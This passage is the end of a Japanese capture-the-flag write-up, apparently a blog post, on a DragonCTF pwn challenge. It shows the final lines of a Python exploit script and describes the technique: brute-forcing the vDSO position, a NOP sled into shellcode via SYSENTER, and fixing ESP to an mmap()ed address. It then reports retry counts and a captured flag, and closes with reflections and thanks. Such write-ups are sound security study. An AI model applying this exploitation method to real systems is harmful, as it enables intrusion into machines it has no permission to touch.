142    print("[+]   try of mmap: "+hex(j))
143    print("[+]   total time : " + str(time.time() - start_time) + "s")
144
145    c.interactive()

こうすると、SYSENTER の直前がこんな感じで:

SYSENTER するとこうなって:

以降は NOP スレッドを辿ってシェルコードにたどり着く。 シェルコードでは、ESP を有効なアドレス(今回はmmap()したとこの内どっか)に持っていくのを忘れずに。

ローカルの結果:

vDSO がそもそもに pwn 可能な位置に来るまでのリトライが 475 回、そのあとの mmap()での調整が 1994 回。 うーん、これリモートだとだいぶきつそうだな。しかも CTF 終わったから低速サーバに切り替わっていて、実際にリモートで試すのはしんどそう。まぁリモートと環境全く一緒にしてるからこれで終わりでいいよね、いいよ。

と思ったら、まぁフラグ取れた:

317 秒。まぁ、いいか。

アウトロ Link to this heading

解けなかった人間が言うのもなんですが、タネがわかってしまえばものすごくシンプルな問題です。 それでも解ききれなかったのは、やはり知識に曖昧な点があったからに他ならないと思うので、 今ここで総復習する機会ができたのは良かったと思います。

こんなん基礎の基礎だろって記事を読みながら思ったプロ pwner もいるかもしれませんが、 この辺のことを 100%理解しているのならばこの問題は瞬殺できるはずなので、この問題をリアルタイムで解けた 1 チームの誰かを除いて反省してください。 嘘です。ごめんなさい。

まぁ、曖昧な知識はいつか必ずボロが出るはずなので、ちゃんとどこかで固めておくのは大事だなぁと思いました。 うさぎ。


ちなみに、この DragonCTF と同期間に大阪大学のサークル主催の Wani CTF というものがあり、なんか TL に流れてきたので pwn だけ全部解いておきました。 SECCON beginners みたいな親切な問題が沢山あり、 どっかの TSG みたいに初心者向けと煽っていくスタイルとは違って良いサークルだなぁと思いました。嘘です。TSG も良いサークルです。嘘です。

名前は、その時頭に浮かんだことを理性というフィルターに一切かけることなく素通りさせた時に出力された文字列です。

Special Thanks Link to this heading

  • Dragon Sector. 無知を認めて学び直すきっかけをありがとうございます。
  • mora さん. わからないことをいつも教えてくれて凄く感謝してます:bow:

参考 Link to this heading